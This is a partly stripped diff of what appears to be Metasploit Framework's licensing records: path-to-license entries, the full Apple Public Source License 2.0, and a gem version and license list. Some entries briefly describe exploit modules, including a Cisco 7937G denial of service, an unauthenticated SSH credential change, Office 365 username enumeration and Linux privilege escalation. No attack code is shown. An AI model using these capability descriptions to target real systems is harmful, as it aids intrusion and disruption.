Copyright: 2016-2023 Andrew Svetlov
License: Apache 2.0
Files: lib/net/dns.rb lib/net/dns/*
Files: lib/msf/core/web_services/public/*
lib/msf/core/web_services/views/api_docs.erb
Copyright: Copyright 2018 SmartBear Software
License: Apache 2.0
Files: lib/net/dns.rb
lib/net/dns/*
Copyright: 2006 Marco Ceresa
License: Ruby
Files: lib/postgres_msf.rb lib/postgres/postgres-pr/message.rb lib/postgres/postgres-pr/connection.rb
Files: lib/postgres_msf.rb
lib/postgres/postgres-pr/message.rb
lib/postgres/postgres-pr/connection.rb
Copyright: 2005 Michael Neumann
License: BSD-3-clause or Ruby
@@ -95,11 +175,13 @@ Files: lib/rabal/*
Copyright: Jeremy Hinegadner <jeremy at hinegardner dot org>
License: Ruby
Files: lib/rbmysql.rb lib/rbmysql/*
Files: lib/rbmysql.rb
lib/rbmysql/*
Copyright: 2009 tommy
License: Ruby
Files: lib/snmp.rb lib/snmp/*
Files: lib/snmp.rb
lib/snmp/*
Copyright: 2004, David R. Halliday
License: Ruby
@@ -107,37 +189,81 @@ Files: lib/windows_console_color_support.rb
Copyright: 2011 Michael 'mihi' Schierl
License: BSD-3-clause
Files: lib/zip.rb lib/zip/*
Files: lib/zip.rb
lib/zip/*
Copyright: 2002-2004, Thomas Sandergaard
License: Ruby
Files: modules/auxiliary/dos/cisco/cisco_7937g_dos.py
Copyright: 2020, Cody Martin
License: GPL
Purpose: This module allows an attacker to render a Cisco 7937G unresponsive
until it is manually power cycled.
Files: modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py
Copyright: 2020, Cody Martin
License: GPL
Purpose: This module allows an attacker to render a Cisco 7937G unresponsive
until it automatically power cycles.
Files: modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py
Copyright: 2020, Cody Martin
License: GPL
Purpose: This module allows an unauthenticated user to change the credentials
for SSH access on a Cisco 7937G device.
Files: modules/auxiliary/gather/office365userenum.py
Copyright: 2015 Oliver Morton
License: GPL
Purpose: Enumerates valid usernames from Office 365 using ActiveSync.
Files: modules/exploits/linux/local/bpf_priv_esc.rb
data/exploits/CVE-2016-4557/hello
Copyright: 2001-2007
License: GPL
Purpose: This module contains the source code for FUSE, which this module
uploads and compiles or uploads a precompiled binary (hello).
Files: modules/exploits/linux/local/ntfs3g_priv_esc.rb
Copyright: 2017
License: GPLv2
Purpose: The Ruby file contains the text of several modules from exploit-db
which it compiles and uploads to the target to elevate privileges.
Files: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
Copyright: 2020
License: GPL
Purpose: This module targets a vulnerability in Metasploit Framework versions
prior to 5.0.86.
Files: modules/exploits/windows/smb/ms04_007_killbill.rb
Copyright: 2004, Solar Eclipse
License: GPL
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2
module.
Files: modules/payloads/singles/windows/speak_pwned.rb
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
License: BSD-3-clause
Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: modules/payloads/singles/windows/x64/messagebox.rb
Copyright: 2018, jaguinaga
License: GPL
Purpose: This module allows us to create an x64 Windows messagebox payload.
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
Copyright: Copyright 2018 SmartBear Software
License: Apache 2.0
Files: modules/post/linux/dos/xen_420_dos.rb
Copyright: 2016
License: GPL
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
paravirtualized VM. It contains a short code section licensed through
GPL.
Files: data/jtr/*
Copyright: Copyright 1996-2013 by Solar Designer
License: GNU GPL 2.0
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
Copyright: 2011 Jon Bringhurst
License: GNU GPL 2.0
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
Copyright: 2020 Johnny Shaw
License: MIT
Files: exteneral/source/exploits/CVE-2022-26904/*
Copywrite: 2022 Abdelhamid Naceri
License: MIT
Files: tools/exploit/metasm_shell.rb
Copyright: 2007, Yoann GUILLOT
License: LGPL
Purpose: Allows users to invoke an interactive metasm shell to get opcodes from
assembly instructions.
License: BSD-2-clause
Redistribution and use in source and binary forms, with or without modification,
@@ -893,3 +1019,372 @@ License: Zlib
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
License: Apple
APPLE PUBLIC SOURCE LICENSE
Version 2.0 - August 6, 2003
Please read this License carefully before downloading this software.
By downloading or using this software, you are agreeing to be bound by
the terms of this License. If you do not or cannot agree to the terms
of this License, please do not download or use the software.
1. General; Definitions. This License applies to any program or other
work which Apple Computer, Inc. ("Apple") makes publicly available and
which contains a notice placed by Apple identifying such program or
work as "Original Code" and stating that it is subject to the terms of
this Apple Public Source License version 2.0 ("License"). As used in
this License:
1.1 "Applicable Patent Rights" mean: (a) in the case where Apple is
the grantor of rights, (i) claims of patents that are now or hereafter
acquired, owned by or assigned to Apple and (ii) that cover subject
matter contained in the Original Code, but only to the extent
necessary to use, reproduce and/or distribute the Original Code
without infringement; and (b) in the case where You are the grantor of
rights, (i) claims of patents that are now or hereafter acquired,
owned by or assigned to You and (ii) that cover subject matter in Your
Modifications, taken alone or in combination with Original Code.
1.2 "Contributor" means any person or entity that creates or
contributes to the creation of Modifications.
1.3 "Covered Code" means the Original Code, Modifications, the
combination of Original Code and any Modifications, and/or any
respective portions thereof.
1.4 "Externally Deploy" means: (a) to sublicense, distribute or
otherwise make Covered Code available, directly or indirectly, to
anyone other than You; and/or (b) to use Covered Code, alone or as
part of a Larger Work, in any way to provide a service, including but
not limited to delivery of content, through electronic communication
with a client other than You.
1.5 "Larger Work" means a work which combines Covered Code or portions
thereof with code not governed by the terms of this License.
1.6 "Modifications" mean any addition to, deletion from, and/or change
to, the substance and/or structure of the Original Code, any previous
Modifications, the combination of Original Code and any previous
Modifications, and/or any respective portions thereof. When code is
released as a series of files, a Modification is: (a) any addition to
or deletion from the contents of a file containing Covered Code;
and/or (b) any new file or other representation of computer program
statements that contains any part of Covered Code.
1.7 "Original Code" means (a) the Source Code of a program or other
work as originally made available by Apple under this License,
including the Source Code of any updates or upgrades to such programs
or works made available by Apple under this License, and that has been
expressly identified by Apple as such in the header file(s) of such
work; and (b) the object code compiled from such Source Code and
originally made available by Apple under this License.
1.8 "Source Code" means the human readable form of a program or other
work that is suitable for making modifications to it, including all
modules it contains, plus any associated interface definition files,
scripts used to control compilation and installation of an executable
(object code).
1.9 "You" or "Your" means an individual or a legal entity exercising
rights under this License. For legal entities, "You" or "Your"
includes any entity which controls, is controlled by, or is under
common control with, You, where "control" means (a) the power, direct
or indirect, to cause the direction or management of such entity,
whether by contract or otherwise, or (b) ownership of fifty percent
(50%) or more of the outstanding shares or beneficial ownership of
such entity.
2. Permitted Uses; Conditions & Restrictions. Subject to the terms
and conditions of this License, Apple hereby grants You, effective on
the date You accept this License and download the Original Code, a
world-wide, royalty-free, non-exclusive license, to the extent of
Apple's Applicable Patent Rights and copyrights covering the Original
Code, to do the following:
2.1 Unmodified Code. You may use, reproduce, display, perform,
internally distribute within Your organization, and Externally Deploy
verbatim, unmodified copies of the Original Code, for commercial or
non-commercial purposes, provided that in each instance:
(a) You must retain and reproduce in all copies of Original Code the
copyright and other proprietary notices and disclaimers of Apple as
they appear in the Original Code, and keep intact all notices in the
Original Code that refer to this License; and
(b) You must include a copy of this License with every copy of Source
Code of Covered Code and documentation You distribute or Externally
Deploy, and You may not offer or impose any terms on such Source Code
that alter or restrict this License or the recipients' rights
hereunder, except as permitted under Section 6.
2.2 Modified Code. You may modify Covered Code and use, reproduce,
display, perform, internally distribute within Your organization, and
Externally Deploy Your Modifications and Covered Code, for commercial
or non-commercial purposes, provided that in each instance You also
meet all of these conditions:
(a) You must satisfy all the conditions of Section 2.1 with respect to
the Source Code of the Covered Code;
(b) You must duplicate, to the extent it does not already exist, the
notice in Exhibit A in each file of the Source Code of all Your
Modifications, and cause the modified files to carry prominent notices
stating that You changed the files and the date of any change; and
(c) If You Externally Deploy Your Modifications, You must make
Source Code of all Your Externally Deployed Modifications either
available to those to whom You have Externally Deployed Your
Modifications, or publicly available. Source Code of Your Externally
Deployed Modifications must be released under the terms set forth in
this License, including the license grants set forth in Section 3
below, for as long as you Externally Deploy the Covered Code or twelve
(12) months from the date of initial External Deployment, whichever is
longer. You should preferably distribute the Source Code of Your
Externally Deployed Modifications electronically (e.g. download from a
web site).
2.3 Distribution of Executable Versions. In addition, if You
Externally Deploy Covered Code (Original Code and/or Modifications) in
object code, executable form only, You must include a prominent
notice, in the code itself as well as in related documentation,
stating that Source Code of the Covered Code is available under the
terms of this License with information on how and where to obtain such
Source Code.
2.4 Third Party Rights. You expressly acknowledge and agree that
although Apple and each Contributor grants the licenses to their
respective portions of the Covered Code set forth herein, no
assurances are provided by Apple or any Contributor that the Covered
Code does not infringe the patent or other intellectual property
rights of any other entity. Apple and each Contributor disclaim any
liability to You for claims brought by any other entity based on
infringement of intellectual property rights or otherwise. As a
condition to exercising the rights and licenses granted hereunder, You
hereby assume sole responsibility to secure any other intellectual
property rights needed, if any. For example, if a third party patent
license is required to allow You to distribute the Covered Code, it is
Your responsibility to acquire that license before distributing the
Covered Code.
3. Your Grants. In consideration of, and as a condition to, the
licenses granted to You under this License, You hereby grant to any
person or entity receiving or distributing Covered Code under this
License a non-exclusive, royalty-free, perpetual, irrevocable license,
under Your Applicable Patent Rights and other intellectual property
rights (other than patent) owned or controlled by You, to use,
reproduce, display, perform, modify, sublicense, distribute and
Externally Deploy Your Modifications of the same scope and extent as
Apple's licenses under Sections 2.1 and 2.2 above.
4. Larger Works. You may create a Larger Work by combining Covered
Code with other code not governed by the terms of this License and
distribute the Larger Work as a single product. In each such instance,
You must make sure the requirements of this License are fulfilled for
the Covered Code or any portion thereof.
5. Limitations on Patent License. Except as expressly stated in
Section 2, no other patent rights, express or implied, are granted by
Apple herein. Modifications and/or Larger Works may require additional
patent licenses from Apple which Apple may grant in its sole
discretion.
6. Additional Terms. You may choose to offer, and to charge a fee for,
warranty, support, indemnity or liability obligations and/or other
rights consistent with the scope of the license granted herein
("Additional Terms") to one or more recipients of Covered Code.
However, You may do so only on Your own behalf and as Your sole
responsibility, and not on behalf of Apple or any Contributor. You
must obtain the recipient's agreement that any such Additional Terms
are offered by You alone, and You hereby agree to indemnify, defend
and hold Apple and every Contributor harmless for any liability
incurred by or claims asserted against Apple or such Contributor by
reason of any such Additional Terms.
7. Versions of the License. Apple may publish revised and/or new
versions of this License from time to time. Each version will be given
a distinguishing version number. Once Original Code has been published
under a particular version of this License, You may continue to use it
under the terms of that version. You may also choose to use such
Original Code under the terms of any subsequent version of this
License published by Apple. No one other than Apple has the right to
modify the terms applicable to Covered Code created under this
License.
8. NO WARRANTY OR SUPPORT. The Covered Code may contain in whole or in
part pre-release, untested, or not fully tested works. The Covered
Code may contain errors that could cause failures or loss of data, and
may be incomplete or contain inaccuracies. You expressly acknowledge
and agree that use of the Covered Code, or any portion thereof, is at
Your sole and entire risk. THE COVERED CODE IS PROVIDED "AS IS" AND
WITHOUT WARRANTY, UPGRADES OR SUPPORT OF ANY KIND AND APPLE AND
APPLE'S LICENSOR(S) (COLLECTIVELY REFERRED TO AS "APPLE" FOR THE
PURPOSES OF SECTIONS 8 AND 9) AND ALL CONTRIBUTORS EXPRESSLY DISCLAIM
ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT
NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF
MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR
PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD
PARTY RIGHTS. APPLE AND EACH CONTRIBUTOR DOES NOT WARRANT AGAINST
INTERFERENCE WITH YOUR ENJOYMENT OF THE COVERED CODE, THAT THE
FUNCTIONS CONTAINED IN THE COVERED CODE WILL MEET YOUR REQUIREMENTS,
THAT THE OPERATION OF THE COVERED CODE WILL BE UNINTERRUPTED OR
ERROR-FREE, OR THAT DEFECTS IN THE COVERED CODE WILL BE CORRECTED. NO
ORAL OR WRITTEN INFORMATION OR ADVICE GIVEN BY APPLE, AN APPLE
AUTHORIZED REPRESENTATIVE OR ANY CONTRIBUTOR SHALL CREATE A WARRANTY.
You acknowledge that the Covered Code is not intended for use in the
operation of nuclear facilities, aircraft navigation, communication
systems, or air traffic control machines in which case the failure of
the Covered Code could lead to death, personal injury, or severe
physical or environmental damage.
9. LIMITATION OF LIABILITY. TO THE EXTENT NOT PROHIBITED BY LAW, IN NO
EVENT SHALL APPLE OR ANY CONTRIBUTOR BE LIABLE FOR ANY INCIDENTAL,
SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING
TO THIS LICENSE OR YOUR USE OR INABILITY TO USE THE COVERED CODE, OR
ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY,
TORT (INCLUDING NEGLIGENCE), PRODUCTS LIABILITY OR OTHERWISE, EVEN IF
APPLE OR SUCH CONTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY
REMEDY. SOME JURISDICTIONS DO NOT ALLOW THE LIMITATION OF LIABILITY OF
INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION MAY NOT APPLY
TO YOU. In no event shall Apple's total liability to You for all
damages (other than as may be required by applicable law) under this
License exceed the amount of fifty dollars ($50.00).
10. Trademarks. This License does not grant any rights to use the
trademarks or trade names "Apple", "Apple Computer", "Mac", "Mac OS",
"QuickTime", "QuickTime Streaming Server" or any other trademarks,
service marks, logos or trade names belonging to Apple (collectively
"Apple Marks") or to any trademark, service mark, logo or trade name
belonging to any Contributor. You agree not to use any Apple Marks in
or as part of the name of products derived from the Original Code or
to endorse or promote products derived from the Original Code other
than as expressly permitted by and in strict compliance at all times
with Apple's third party trademark usage guidelines which are posted
at http://www.apple.com/legal/guidelinesfor3rdparties.html.
11. Ownership. Subject to the licenses granted under this License,
each Contributor retains all rights, title and interest in and to any
Modifications made by such Contributor. Apple retains all rights,
title and interest in and to the Original Code and any Modifications
made by or on behalf of Apple ("Apple Modifications"), and such Apple
Modifications will not be automatically subject to this License. Apple
may, at its sole discretion, choose to license such Apple
Modifications under this License, or on different terms from those
contained in this License or may choose not to license them at all.
12. Termination.
12.1 Termination. This License and the rights granted hereunder will
terminate:
(a) automatically without notice from Apple if You fail to comply with
any term(s) of this License and fail to cure such breach within 30
days of becoming aware of such breach;
(b) immediately in the event of the circumstances described in Section
13.5(b); or
(c) automatically without notice from Apple if You, at any time during
the term of this License, commence an action for patent infringement
against Apple; provided that Apple did not first commence
an action for patent infringement against You in that instance.
12.2 Effect of Termination. Upon termination, You agree to immediately
stop any further use, reproduction, modification, sublicensing and
distribution of the Covered Code. All sublicenses to the Covered Code
which have been properly granted prior to termination shall survive
any termination of this License. Provisions which, by their nature,
should remain in effect beyond the termination of this License shall
survive, including but not limited to Sections 3, 5, 8, 9, 10, 11,
12.2 and 13. No party will be liable to any other for compensation,
indemnity or damages of any sort solely as a result of terminating
this License in accordance with its terms, and termination of this
License will be without prejudice to any other right or remedy of
any party.
13. Miscellaneous.
13.1 Government End Users. The Covered Code is a "commercial item" as
defined in FAR 2.101. Government software and technical data rights in
the Covered Code include only those rights customarily provided to the
public as defined in this License. This customary commercial license
in technical data and software is provided in accordance with FAR
12.211 (Technical Data) and 12.212 (Computer Software) and, for
Department of Defense purchases, DFAR 252.227-7015 (Technical Data --
Commercial Items) and 227.7202-3 (Rights in Commercial Computer
Software or Computer Software Documentation). Accordingly, all U.S.
Government End Users acquire Covered Code with only those rights set
forth herein.
13.2 Relationship of Parties. This License will not be construed as
creating an agency, partnership, joint venture or any other form of
legal association between or among You, Apple or any Contributor, and
You will not represent to the contrary, whether expressly, by
implication, appearance or otherwise.
13.3 Independent Development. Nothing in this License will impair
Apple's right to acquire, license, develop, have others develop for
it, market and/or distribute technology or products that perform the
same or similar functions as, or otherwise compete with,
Modifications, Larger Works, technology or products that You may
develop, produce, market or distribute.
13.4 Waiver; Construction. Failure by Apple or any Contributor to
enforce any provision of this License will not be deemed a waiver of
future enforcement of that or any other provision. Any law or
regulation which provides that the language of a contract shall be
construed against the drafter will not apply to this License.
13.5 Severability. (a) If for any reason a court of competent
jurisdiction finds any provision of this License, or portion thereof,
to be unenforceable, that provision of the License will be enforced to
the maximum extent permissible so as to effect the economic benefits
and intent of the parties, and the remainder of this License will
continue in full force and effect. (b) Notwithstanding the foregoing,
if applicable law prohibits or restricts You from fully and/or
specifically complying with Sections 2 and/or 3 or prevents the
enforceability of either of those Sections, this License will
immediately terminate and You must immediately discontinue any use of
the Covered Code and destroy all copies of it that are in your
possession or control.
13.6 Dispute Resolution. Any litigation or other dispute resolution
between You and Apple relating to this License shall take place in the
Northern District of California, and You and Apple hereby consent to
the personal jurisdiction of, and venue in, the state and federal
courts within that District with respect to this License. The
application of the United Nations Convention on Contracts for the
International Sale of Goods is expressly excluded.
13.7 Entire Agreement; Governing Law. This License constitutes the
entire agreement between the parties with respect to the subject
matter hereof. This License shall be governed by the laws of the
United States and the State of California, except that body of
California law concerning conflicts of law.
Where You are located in the province of Quebec, Canada, the following
clause applies: The parties hereby confirm that they have requested
that this License and all related documents be drafted in English. Les
parties ont exige que le present contrat et tous les documents
connexes soient rediges en anglais.
EXHIBIT A.
"Portions Copyright (c) 1999-2003 Apple Computer, Inc. All Rights
Reserved.
This file contains Original Code and/or Modifications of Original Code
as defined in and that are subject to the Apple Public Source License
Version 2.0 (the 'License'). You may not use this file except in
compliance with the License. Please obtain a copy of the License at
http://www.opensource.apple.com/apsl/ and read it before using this
file.
The Original Code and all software distributed under the License are
distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
Please see the License for the specific language governing rights and
limitations under the License."
+102 -98
View File
@@ -1,52 +1,54 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 6.1.7, MIT
actionview, 6.1.7, MIT
activemodel, 6.1.7, MIT
activerecord, 6.1.7, MIT
activesupport, 6.1.7, MIT
addressable, 2.8.1, "Apache 2.0"
actionpack, 7.0.5, MIT
actionview, 7.0.5, MIT
activemodel, 7.0.5, MIT
activerecord, 7.0.5, MIT
activesupport, 7.0.5, MIT
addressable, 2.8.4, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.628.0, "Apache 2.0"
aws-sdk-core, 3.145.0, "Apache 2.0"
aws-sdk-ec2, 1.331.0, "Apache 2.0"
aws-sdk-iam, 1.70.0, "Apache 2.0"
aws-sdk-kms, 1.58.0, "Apache 2.0"
aws-sdk-s3, 1.114.0, "Apache 2.0"
aws-sigv4, 1.5.1, "Apache 2.0"
aws-partitions, 1.776.0, "Apache 2.0"
aws-sdk-core, 3.174.0, "Apache 2.0"
aws-sdk-ec2, 1.382.0, "Apache 2.0"
aws-sdk-iam, 1.79.0, "Apache 2.0"
aws-sdk-kms, 1.66.0, "Apache 2.0"
aws-sdk-s3, 1.123.1, "Apache 2.0"
aws-sdk-ssm, 1.151.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.10, ruby
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.16.0, MIT
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
byebug, 11.1.3, "Simplified BSD"
chunky_png, 1.4.0, MIT
coderay, 1.1.3, MIT
concurrent-ruby, 1.0.5, MIT
concurrent-ruby, 1.2.2, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.6.2, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
digest, 3.1.0, "ruby, Simplified BSD"
dnsruby, 1.61.9, "Apache 2.0"
dnsruby, 1.70.0, "Apache 2.0"
docile, 1.4.0, MIT
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
ed25519, 1.3.0, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubi, 1.11.0, MIT
erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.23.0, MIT
faraday, 2.5.2, MIT
faraday-net_http, 3.0.0, MIT
faraday-retry, 2.0.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
faker, 3.2.0, MIT
faraday, 2.7.6, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.2.0, MIT
faye-websocket, 0.11.2, "Apache 2.0"
ffi, 1.15.5, "New BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
@@ -58,135 +60,137 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.4.1, "ruby, Simplified BSD"
jmespath, 1.6.1, "Apache 2.0"
i18n, 1.14.1, MIT
io-console, 0.6.0, "ruby, Simplified BSD"
irb, 1.7.0, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.2, ruby
json, 2.6.3, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.18.0, MIT
memory_profiler, 1.0.0, MIT
loofah, 2.21.3, MIT
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.5, "New BSD"
metasploit-credential, 5.0.9, "New BSD"
metasploit-framework, 6.2.22, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.97, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.5, "New BSD"
metasploit-framework, 6.3.28, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.148, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.0, MIT
minitest, 5.16.3, MIT
mqtt, 0.5.0, MIT
msgpack, 1.5.6, "Apache 2.0"
mini_portile2, 2.8.2, MIT
minitest, 5.18.0, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 2.0.2, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-protocol, 0.1.3, "ruby, Simplified BSD"
net-smtp, 0.3.1, "ruby, Simplified BSD"
net-ssh, 7.0.1, MIT
net-ldap, 0.18.0, MIT
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.8, MIT
nokogiri, 1.13.8, MIT
nio4r, 2.5.9, MIT
nokogiri, 1.14.5, MIT
nori, 2.6.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.22.1, MIT
parser, 3.1.2.1, MIT
packetfu, 2.0.0, "New BSD"
parallel, 1.23.0, MIT
parser, 3.2.2.3, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.10.0, MIT
pg, 1.4.3, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 5.0.0, MIT
puma, 5.6.5, "New BSD"
racc, 1.6.0, "ruby, Simplified BSD"
rack, 2.2.4, MIT
rack-protection, 2.2.2, MIT
rack-test, 2.0.2, MIT
pdf-reader, 2.11.0, MIT
pg, 1.5.3, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
puma, 6.3.0, "New BSD"
racc, 1.7.0, "ruby, Simplified BSD"
rack, 2.2.7, MIT
rack-protection, 3.0.6, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.3, MIT
railties, 6.1.7, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.5, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.23, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.5.0, MIT
reline, 0.3.1, ruby
recog, 3.1.1, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.8.0, MIT
reline, 0.3.5, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.28, "New BSD"
rex-core, 0.1.31, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.36, "New BSD"
rex-exploitation, 0.1.38, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.9, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.43, "New BSD"
rex-sslscan, 0.1.8, "New BSD"
rex-socket, 0.1.52, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.45, "New BSD"
rex-text, 0.2.52, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.11.0, MIT
rspec-core, 3.11.0, MIT
rspec-expectations, 3.11.1, MIT
rspec-mocks, 3.11.1, MIT
rspec-rails, 5.1.2, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.2, MIT
rspec-expectations, 3.12.3, MIT
rspec-mocks, 3.12.5, MIT
rspec-rails, 6.0.3, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.1, MIT
rubocop, 1.36.0, MIT
rubocop-ast, 1.21.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.52.0, MIT
rubocop-ast, 1.29.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.2.0, "New BSD"
ruby_smb, 3.2.5, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 2.2.2, MIT
sqlite3, 1.5.0, "New BSD"
sinatra, 3.0.6, MIT
sqlite3, 1.6.3, "New BSD"
sshkey, 2.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
thor, 1.2.1, MIT
tilt, 2.0.11, MIT
timecop, 0.9.5, MIT
timeout, 0.3.0, "ruby, Simplified BSD"
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.2.2, MIT
tilt, 2.2.0, MIT
timecop, 0.9.6, MIT
timeout, 0.3.2, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.5, MIT
tzinfo-data, 1.2022.3, MIT
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2023.3, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.2.0, MIT
unix-crypt, 1.3.0, BSD
unicode-display_width, 2.4.2, MIT
unix-crypt, 1.3.1, 0BSD
warden, 1.2.9, MIT
webrick, 1.7.0, "ruby, Simplified BSD"
webrick, 1.8.1, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.4, BSD
windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.28, MIT
zeitwerk, 2.6.0, MIT
yard, 0.9.34, MIT
zeitwerk, 2.6.8, MIT
+1 -1
View File
